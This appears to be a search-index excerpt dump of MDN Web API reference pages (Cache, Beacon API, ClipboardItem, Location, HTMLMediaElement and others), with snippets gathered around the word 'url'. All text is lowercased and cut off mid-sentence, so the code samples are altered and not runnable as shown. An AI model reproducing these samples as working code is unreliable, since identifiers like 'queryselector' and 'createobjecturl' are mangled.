of element and returns an array of matching nodes. if unspecified, element defaults to document. the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, any_type is used. :block (starting in firefox 80) followed by an unquoted string, blocks requests where the
url contains that string. in the network monitor, the string now appears and is selected in the request blocking sidebar. unblock with :unblock. cd() switches javascript evaluation context to a different iframe in the page. this helper accepts multiple different ways of identifying the frame to switch to. you can supply any of the following: a selector string to be passed to document.querys...
... outside the current bounds of the window will be included in the screenshot. when used, "-fullpage" will be appended to the file name. --selector string the css query selector for a single element on the page. when supplied, only this element will be included in the screenshot. :unblock (starting in firefox 80) followed by an unquoted string, removes blocking for
urls containing that string. in the network monitor, the string is removed from the request blocking sidebar. no error is given if the string was not previously blocked. values() given an object, returns a list of the values on that object; serves as a companion to keys(). please refer to the console api for more information about logging from content. variables tempn the "use in console" op...
AudioContext.createMediaStreamDestination() - Web APIs
rts, and the mediarecorder is started. when the button is stopped, the oscillator and mediarecorder both stop. stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array. after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a
url created from the blob. from here, you can play and save the opus file. <!doctype html> <html> <head> <title>createmediastreamdestination() demo</title> </head> <body> <h1>createmediastreamdestination() demo</h1> <p>encoding a pure sine wave to an opus file </p> <button>make sine wave</button> <audio controls></audio> <script> var b = document.queryselector("b...
...e.target.disabled = true; } }); mediarecorder.ondataavailable = function(evt) { // push each chunk (blobs) in an array chunks.push(evt.data); }; mediarecorder.onstop = function(evt) { // make blob out of our blobs, and open it. var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); document.queryselector("audio").src =
url.createobject
url(blob); }; </script> </body> </html> note: you can view this example live, or study the source code, on github. specifications specification status comment web audio apithe definition of 'createmediastreamdestination()' in that specification. working draft ...
AuthenticatorResponse.clientDataJSON - Web APIs
; var arraybuffer = authenticatorassertionresponse.clientdatajson; value an arraybuffer. properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created. challenge the base64
url encoded version of the cryptographic challenge sent from the relying party's server. the original value is passed via publickeycredentialrequestoptions.challenge or publickeycredentialcreationoptions.challenge. origin the fully qualified origin of the requester which has been given by the client/browser to the authenticator. we should expect the relying party's id to be a suffix of this value. ...
...this value. tokenbindingid optional an object describing the state of the token binding protocol for the communication with the relying party. it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64
url encoding of the token binding id which was used for the communication. should this property be absent, it would indicate that the client does not support token binding. examples function arraybuffertostr(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } // pk is a publickeycredential that is the result of a create() or get() promise var clientdatastr = arraybuffe...
Beacon API - Web APIs
e techniques represent poor coding patterns, some of them are unreliable and result in the perception of poor page load performance for the next navigation. the beacon api provides a standard way to address these issues. global context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server in the global browsing context. the method takes two arguments, the
url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server from the worker global scope. the...
...est. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server from the worker global scope. the method takes two arguments, the
url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and otherwise returns "false". ...
Cache.add() - Web APIs
the add() method of the cache interface takes a
url, retrieves it, and adds the resulting response object to the given cache. the add() method is functionally equivalent to the following: fetch(
url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(
url, response); }) for more complex operations, you'll need to use cache.put() directly. note: add() will overwrite any key/value pair previously stored in the cache that matches the request. syntax cache.add(request).then(function() { // request has been added to the cache }); parameters request the request you want to add to the cache. this can be a request object or a
url. return value a promise that resolves with undefined. exceptions exception ...
...pair previously stored in the cache that matches the request. syntax cache.add(request).then(function() { // request has been added to the cache }); parameters request the request you want to add to the cache. this can be a request object or a
url. return value a promise that resolves with undefined. exceptions exception happens when typeerror the
url scheme is not http or https. the response status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then calls waituntil() to handle the install proce...
Cache.addAll() - Web APIs
the addall() method of the cache interface takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache. the request objects created during retrieval become keys to the stored response operations. note: addall() will overwrite any key/value pairs previously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a previous cache entry stored by the same addall() method. syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string
urls that you want to be fetched and added to the cache. you can specify the request object instead of the
url. return value a promise that resolves with undefined. exceptions exce...
...od. syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string
urls that you want to be fetched and added to the cache. you can specify the request object instead of the
url. return value a promise that resolves with undefined. exceptions exception happens when typeerror the
url scheme is not http or https. the response status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then runs waituntil() to handle the install proces...
Cache.delete() - Web APIs
ace finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true. if no cache entry is found, it resolves to false. syntax cache.delete(request, {options}).then(function(found) { // your cache entry has been deleted if found }); parameters request the request you are looking to delete. this can be a request object or a
url. options optional an object whose properties control how matching is done in the delete operation. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean ...
...com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the
url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a domstring that represents a specific cache to search within. note that this option is ignored by cache.delete(). return value a promise that resolves to true if the cache entry is deleted, or false otherwise. examples caches.open('v1').then(function(cache) { c...
Cache.keys() - Web APIs
the keys() method of the cache interface returns a promise that resolves to an array of cache keys. the requests are returned in the same order that they were inserted. note: requests with duplicate
urls but different headers can be returned if their responses have the vary header set on them. syntax cache.keys(request, {options}).then(function(keys) { // do something with your array of requests }); parameters request optional the request want to return, if a specific key is desired. this can be a request object or a
url. options optional an object whose properties control how matching is done in the keys operation. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url. if set to true, the...
...com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the
url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a domstring that represents a specific cache to search within. note that this option is ignored by cache.keys(). return value a promise that resolves to an array of cache keys. examples caches.open('v1').then(function(cache) { cache.keys().then(function(keys) { ...
Cache.matchAll() - Web APIs
the matchall() method of the cache interface returns a promise that resolves to an array of all matching responses in the cache object. syntax cache.matchall(request, {options}).then(function(response) { // do something with the response array }); parameters request optional the request for which you are attempting to find responses in the cache. this can be a request object or a
url. if this argument is omitted, you will get a copy of all responses in this cache. options optional an options object allowing you to set specific control options for the matching performed. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url. if set to true, the ?value=bar part of http://foo.com/?value=bar would...
...http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e. if the
url matches you will get a match regardless of the response object having a vary header or not. it defaults to false. return value a promise that resolves to an array of all matching responses in the cache object. note: cache.match() is basically identical to cache.matchall(), except that rather than resolving with an array of all matching responses, it resolves with the first matching respo...
Cache.put() - Web APIs
the put() method of the cache interface allows key/value pairs to be added to the current cache object. often, you will just want to fetch() one or more requests, then add the result straight to your cache. in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations. fetch(
url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(
url, response); }) note: put() will overwrite any key/value pair previously stored in the cache that matches the request. note: cache.add/cache.addall do not cache responses with response.status values that are not in the 200 range, whereas cache.put lets you store any request/response pair. as a result, cache.add/cach...
...t cache responses with response.status values that are not in the 200 range, whereas cache.put lets you store any request/response pair. as a result, cache.add/cache.addall can't be used to store opaque responses, whereas cache.put can. syntax cache.put(request, response).then(function() { // request/response pair has been added to the cache }); parameters request the request object or
url that you want to add to the cache. response the response you want to match up to the request. return value a promise that resolves with undefined. note: the promise will reject with a typeerror if the
url scheme is not http or https. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response lik...
Compositing example - Web APIs
h = width; canvas1.height = height; canvas2.width = width; canvas2.height = height; lightmix() colorsphere(); runcomposite(); return; }; and this code, runcomposite(), handles the bulk of the work, relying on a number of utility functions to do the hard parts. ...
... proto.fillrect(0, 0, size, size); proto.fillstyle = color2; // top-right proto.fillrect(size, 0, size, size); proto.fillstyle = color2; // bottom-left proto.fillrect(0, size, size, size); proto.fillstyle = color1; // bottom-right proto.fillrect(size, size, size, size); var pattern = proto.createpattern(proto.canvas, "repeat"); pattern.data = proto.canvas.todata
url(); return pattern; }; var op_8x8 = createinterlace(8, "#fff", "#eee"); ...
Pixel manipulation with canvas - Web APIs
it returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png). the returned image is in a resolution of 96 dpi. note: be aware that if the canvas contains any pixels that were obtained from another origin without using cors, the canvas is tainted and its contents can no longer be read a...
...in the format specified by the type parameter (defaults to png). the returned image is in a resolution of 96 dpi. note: be aware that if the canvas contains any pixels that were obtained from another origin without using cors, the canvas is tainted and its contents can no longer be read and saved. see security and tainted canvases in allowing cross-origin use of images and canvas canvas.todata
url('image/png') default setting. creates a png image. canvas.todata
url('image/jpeg', quality) creates a jpg image. optionally, you can provide a quality in the range from 0 to 1, with one being the best quality and with 0 almost not recognizable but small in file size. once you have generated a data uri from you canvas, you are able to use it as the source of any <image> or put it into a hyper ...
ClipboardItem() - Web APIs
e clipboard.readtext() and clipboard.writetext() methods of the clipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. ...
...ds of the clipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. ...
ClipboardItem - Web APIs
returns a promise that resolves with a blob of the requested mime type, or an error if the mime type is not found. examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem. ...
...equested mime type, or an error if the mime type is not found. examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem. async function writeclipimg() { try { const img
url = '/myimage.png'; const data = await fetch(img
url); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method. then utilizing the clipboarditem.ty...
ContentIndex - Web APIs
gator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) ...
CredentialsContainer.create() - Web APIs
ns an object of type credentialcreationoptions that contains options for the requested new credentials object. it must include one of the options "password", "federated", or "publickey". the options are: password: optional either an htmlformelement, or a passwordcredentialdata object. tbd id: (required) usvstring inherited from credentialdata. ...
...erited from credentialdata. name: optional usvstring tbd icon
url: optional usvstring tbd password: (required) usvstring tbd federated: optional an federatedcredentialinit object. contains requirements for creating/obtaining federated credentials. the available options are: id: (required) usvstring inherited from credentialdata. name: optional usvstring tbd icon
url: optional usvstring tbd provider: (required) usvstring tbd protocol: optional usvstring tbd publickey: optional an publickeycredentialcreationoptions object that describes the options for creating a webauthn credential. returns a promise that resolves with a credential instance, such as passwordcredential, federatedcredential, or publickeycredential. specifications ...
Document.execCommand() - Web APIs
ameters acommandname a domstring specifying the name of the command to execute. see commands for a list of possible commands. ashowdefaultui a boolean indicating whether the default user interface should be shown. this is not implemented in mozilla. avalueargument for commands which require an input argument, is a domstring providing that information. for example, insertimage requires the
url of the image to insert. specify null if no argument is needed. commands backcolor changes the document background color. in stylewithcss mode, it affects the background color of the containing block instead. this requires a <color> value string to be passed in as a value argument. note that internet explorer uses this to set the text background color. bold toggles bold on/off for the sele...
...o. (not supported by internet explorer.) inserthorizontalrule inserts a <hr> element at the insertion point, or replaces the selection with it. inserthtml inserts an html string at the insertion point (deletes selection). requires a valid html string as a value argument. (not supported by internet explorer.) insertimage inserts an image at the insertion point (deletes selection). requires a
url string for the image's src as a value argument. the requirements for this string are the same as createlink. insertorderedlist creates a numbered ordered list for the selection or at the insertion point. insertunorderedlist creates a bulleted unordered list for the selection or at the insertion point. insertparagraph inserts a paragraph around the selection or the current line. (internet ex...
Document - Web APIs
the document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the dom tree. the dom tree includes elements such as <body> and <table>, among many others. it provides functionality globally to the document, like how to obtain the page's
url and create new elements in the document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width=...
...ment. document.lastmodifiedread only returns the date on which the document was last modified. document.locationread only returns the uri of the current document. document.readystateread only returns loading status of the document. document.referrerread only returns the uri of the page that linked to this page. document.title sets or gets the title of the current document. document.
urlread only returns the document location as a string. properties included from documentorshadowroot the document interface includes the following properties defined on the documentorshadowroot mixin. note that this is currently only implemented by chrome; other browsers still implement them directly on the document interface. documentorshadowroot.activeelementread only returns the element...
FetchEvent.request - Web APIs
fetchevent().) syntax var recentrequest = fetchevent.request; value a request object. example this code snippet is from the service worker fetch sample (run the fetch sample live). the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching
url request in the cache object. if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the serviceworkerglobalscope.fetch operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. self.addeventlistener('fetch', function(event) { c...
...he code fetches a response from the network. the code also handles exceptions thrown from the serviceworkerglobalscope.fetch operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache. about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); ...
File - Web APIs
web page to access their content. file objects are generally retrieved from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement. a file object is a specific kind of a blob, and can be used in any context that a blob can. in particular, filereader,
url.createobject
url(), createimagebitmap(), and xmlhttprequest.send() accept both blobs and files. see using files from web applications for more information and examples. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; ...
...y returns the last modified time of the file, in millisecond since the unix epoch (january 1st, 1970 at midnight). file.prototype.lastmodifieddate read only returns the last modified date of the file referenced by the file object. file.prototype.nameread only returns the name of the file referenced by the file object. file.prototype.webkitrelativepath read only returns the path the
url of the file is relative to. file implements blob, so it also has the following properties available to it: file.prototype.size read only returns the size of the file in bytes. file.prototype.type read only returns the mime type of the file. instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, en...
FileReaderSync - Web APIs
his method is deprecated, consider using readasarraybuffer() instead. filereadersync.readastext() this method converts a specified blob or a file into a domstring representing the input data as a text string. the optional encoding parameter indicates the encoding to be used (e.g., iso-8859-1 or utf-8). if not present, the method will apply a detection algorithm for it. filereadersync.readasdata
url() this method converts a specified blob or a file into a domstring representing the input data as a data
url. specifications specification status comment file apithe definition of 'filereadersync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd...
... yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yesreadasdata
urlchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support yessafari full support yesw...
File and Directory Entries API support in Firefox - Web APIs
ntry objects describing file system entries you can then read. using drag and drop by calling the datatransferitem.getasentry() method, which lets you get a filesystemfileentry or filesystemdirectoryentry for files dropped on a drop zone. you can't use the localfilesystem.requestfilesystem() method to get access to a specified local file system. the localfilesystem.resolvelocalfilesystem
url() method isn't implemented. only the asynchronous versions of the interfaces are implemented. any interfaces with names that end in "sync" aren't available. firefox only supports reading from files in the file system. you can't write to them. in particular, the filesystemfileentry.createwriter() method, used to create a filewriter to handle writing to a file, is not implemented and will just tr...
... ...
Introduction to the File and Directory Entries API - Web APIs
ta by returning values; instead, you have to pass a callback function. you send requests for operations to happen, and get notified by callbacks. in contrast, the synchronous api does not use callbacks because the api methods return values. global methods of the asynchronous and synchronous apis. the asynchronous api has the following global methods: requestfilesystem() and resolvelocalfilesystem
url(). these methods are members of both the window object and the worker global scope. the synchronous api, on the other hand, uses the following methods: requestfilesystemsync() and resolvelocalfilesystemsync
url(). these synchronous methods are members of the worker's global scope only, not the window object. the synchronous api can be simpler for some tasks. its direct, in-order programming mo...
...m, you will get security errors. the file and directory entries api adheres to the same-origin policy the file and directory entries api does not let you create and rename executable files the file system is sandboxed you cannot run your app from file:// the file and directory entries api adheres to the same-origin policy an origin is the domain, application layer protocol, and port of a
url of the document where the script is being executed. each origin has its own associated set of file systems. the security boundary imposed on file system prevents applications from accessing data with a different origin. this protects private data by preventing access and deletion. for example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/...
File and Directory Entries API - Web APIs
certain methods in the file and directory entries api. fileerror represents an error which is generated by asynchronous file system calls. there are also two global functions (which are not part of the specification at this time and are implemented only by google chrome). they're available on the window object and implemented in localfilesystem: requestfilesystem() and resolvelocalfilesystem
url(). synchronous api the synchronous api is should only be used in workers; these calls block until they're finished executing, and simply return the results instead of using callbacks. using them on the main thread will block the browser, which is naughty. the interfaces below otherwise mirror the ones from the asynchronous api. filesystemsync represents a file system. filesystementrysync ...
...s you read the contents of a directory. fileexception represents an error which is generated by synchronous file system calls. there are also two global functions (which are not part of the specification at this time and are implemented only by google chrome). they're available on the worker object and implemented in localfilesystemsync: requestfilesystemsync() and resolvelocalfilesystemsync
url(). other interfaces localfilesystem gives you access to a sandboxed file system. localfilesystemsync lockedfile provides tools to deal with a given file with all the necessary locks. metadata specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specifica...
FontFace.FontFace() - Web APIs
the fontface() constructor creates a new fontface object. syntax var fontface = new fontface(family, source, descriptors); parameters family specifies a name that will be used as the font face value for font properties. takes the same type of values as the font-family descriptor of @font-face . source the font source. ...
... this can be either: a
url binary font data descriptors optional a set of optional descriptors passed as an object. it can have the following keys: family: family style: style weight: weight stretch: stretch unicoderange: unicode range variant: variant featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', '
url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specification. working draft ...
FontFace - Web APIs
properties this interface doesn't inherit any property. fontface.display a cssomstring that determines how a font face is displayed based on whether and when it is downloaded and ready to use. fontface.family a cssomstring that retrieves or sets the family of the font. ...
... properties this interface doesn't inherit any property. fontface.display a cssomstring that determines how a font face is displayed based on whether and when it is downloaded and ready to use. fontface.family a cssomstring that retrieves or sets the family of the font. ...
HTMLCanvasElement.mozGetAsFile() - Web APIs
image file from the <canvas> element on the page, then uses a filereader to read the image data from the file. html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data
url using the readasdata
url() method. then a new <img> element is created using the new data
url. function draw() { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 55, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 55, 50); var link = document.getelementbyid('link'); link.a...
... ...
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the
url. modern browsers provide
urlsearchparams and
url.searchparams to make it easy to parse out the parameters from the querystring. ...
...asy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new
urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification. living standard initial definition. ...
HTMLImageElement.loading - Web APIs
the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed. ...
..., using lazy-loading to avoid loading the image from the network until it's actually needed. function addimagetolist(
url) { const list = document.queryselector("div.photo-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src =
url; newitem.appendchild(newimg); list.appendchild(newitem); } specifications specification status comment html living standardthe definition of 'htmlimageelement.loading' in that specification. living standard ...
HTMLInputElement - Web APIs
nts) that the value can have. (if you set this to a negative number, an exception will be thrown.) pattern string: returns / sets the element's pattern attribute, containing a regular expression that the control's value is checked against. use the title attribute to describe the pattern to help the user. this attribute applies when the value of the type attribute is text, search, tel,
url or email; otherwise it is ignored. placeholder string: returns / sets the element's placeholder attribute, containing a hint to the user of what can be entered in the control. the placeholder text must not contain carriage returns or line-feeds. this attribute applies when the value of the type attribute is text, search, tel,
url or email; otherwise it is ignored. readonly ...
... direction of the current locale backward for the opposite direction none if the direction is unknown size unsigned long: returns / sets the element's size attribute, containing visual size of the control. this value is in pixels unless the value of type is text or password, in which case, it is an integer number of characters. applies only when type is set to text, search, tel,
url, email, or password; otherwise it is ignored. properties not yet categorized defaultvalue string: returns / sets the default value as originally specified in the html that created this object. dirname string: returns / sets the directionality of the element. accesskey string: returns a string containing a single character that switches input focus to th...
HTMLMediaElement - Web APIs
user agent select what controls to show on the media element whenever the user agent shows its own set of controls. the domtokenlist takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. htmlmediaelement.crossorigin a domstring indicating the cors setting for this media element. htmlmediaelement.currentsrc read only returns a domstring with the absolute
url of the chosen media resource. htmlmediaelement.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial playback time. setting this value seeks the media to the new time. the time is specified relative to the media's timeline. htmlmediaelement.defaultmuted...
...sinkid read only returns a domstring that is the unique id of the audio device delivering output, or an empty string if it is using the user agent default. this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications. htmlmediaelement.src is a domstring that reflects the src html attribute, which contains the
url of a media resource to use. htmlmediaelement.srcobject is a mediastream representing the media to play or that has played in the current htmlmediaelement, or null if not assigned. htmlmediaelement.texttracks read only returns the list of texttrack objects contained in the element. htmlmediaelement.videotracks read only returns the list of videotrack objects contained in the element. html...
HTMLSourceElement - Web APIs
pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlsourceelement.media is a domstring reflecting the media html attribute, containing the intended type of the media resource. htmlsourceelement.sizes is a domstring representing image sizes between breakpoints htmlsourceelement.src is a domstring reflecting the src html attribute, containing the
url for the media resource. the htmlsourceelement.src property has a meaning only when the associated <source> element is nested in a media element that is a <video> or an <audio> element. it has no meaning and is ignored when it is nested in a <picture> element. note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, sin...
...picture> element. note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, since <source> elements are not re-scanned automatically. htmlsourceelement.srcset is a domstring reflecting the srcset html attribute, containing a list of candidate images, separated by a comma (',', u+002c comma). a candidate image is a
url followed by a 'w' with the width of the images, or an 'x' followed by the pixel density. htmlsourceelement.type is a domstring reflecting the type html attribute, containing the type of the media resource. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'html...
HTMLTrackElement.src - Web APIs
example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification. ...
... example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification. ...
History - Web APIs
page, for example -1 for the previous page or 1 for the next page. if you specify an out-of-bounds value (for instance, specifying -1 when there are no previously-visited pages in the session history), this method silently has no effect. calling go() without parameters or a value of 0 reloads the current page. internet explorer lets you specify a string, instead of an integer, to go to a specific
url in the history list. pushstate() pushes the given data onto the session history stack with the specified title (and, if provided,
url). the data is treated as opaque by the dom; you may specify any javascript object that can be serialized. note that all browsers but safari currently ignore the title parameter. for more information, see working with the history api. replacestate() updates the...
...the data is treated as opaque by the dom; you may specify any javascript object that can be serialized. note that all browsers but safari currently ignore the title parameter. for more information, see working with the history api. ...
Location: href - Web APIs
if you want redirection, use location.replace(). ...
...if you want redirection, use location.replace(). ...
Location: replace() - Web APIs
the replace() method of the location interface replaces the current resource with the one at the provided
url. the difference from the assign() method is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the back button to navigate to it. if the assignment can't happen because of a security violation, a domexception of the security_error type is thrown. this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain. ...
...e user won't be able to use the back button to navigate to it. if the assignment can't happen because of a security violation, a domexception of the security_error type is thrown. this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain. if the provided
url is not valid, a domexception of the syntax_error type is thrown. syntax object.replace(
url); parameters
url is a domstring containing the
url of the page to navigate to. examples // navigate to the location.reload article by replacing this page window.location.replace('/docs/web/api/location.reload'); specifications specification status comment html living sta...
Location: search - Web APIs
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the
url. modern browsers provide
urlsearchparams and
url.searchparams to make it easy to parse out the parameters from the querystring. ...
...rams to make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new
urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification. living standard initial definition. ...
MSSiteModeEvent - Web APIs
dge, the createevent()/initevent() constructor pattern for synthetic events is deprecated. preventdefault cancels the default action of an event. stopimmediatepropagation prevents any further propagation of an event. stoppropagation prevents propagation of an event beyond the current target. properties property description action
url gets the
url of a jump list item that is removed. *this property is not supported for windows store apps using javascript. bubbles gets a value that indicates whether an event propagates up from the event target. buttonid gets the thumbnail toolbar button id that is clicked. *this property is not supported for windows store apps using javascript. cancelable ...
...to. compare to target. target gets the element that is the target of the event. timestamp gets the time, in milliseconds, when an event occurred. ...
MediaRecorder: dataavailable event - Web APIs
dler property: ondataavailable. examples using addeventlistener to listen for dataavailable events: ... var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ... the same, but using the ondataavailable event handler property: ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var a...
...', (event) => { chunks.push(event.data); }); ... the same, but using the ondataavailable event handler property: ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status mediastream recording working draft ...
MediaSource.addSourceBuffer() - Web APIs
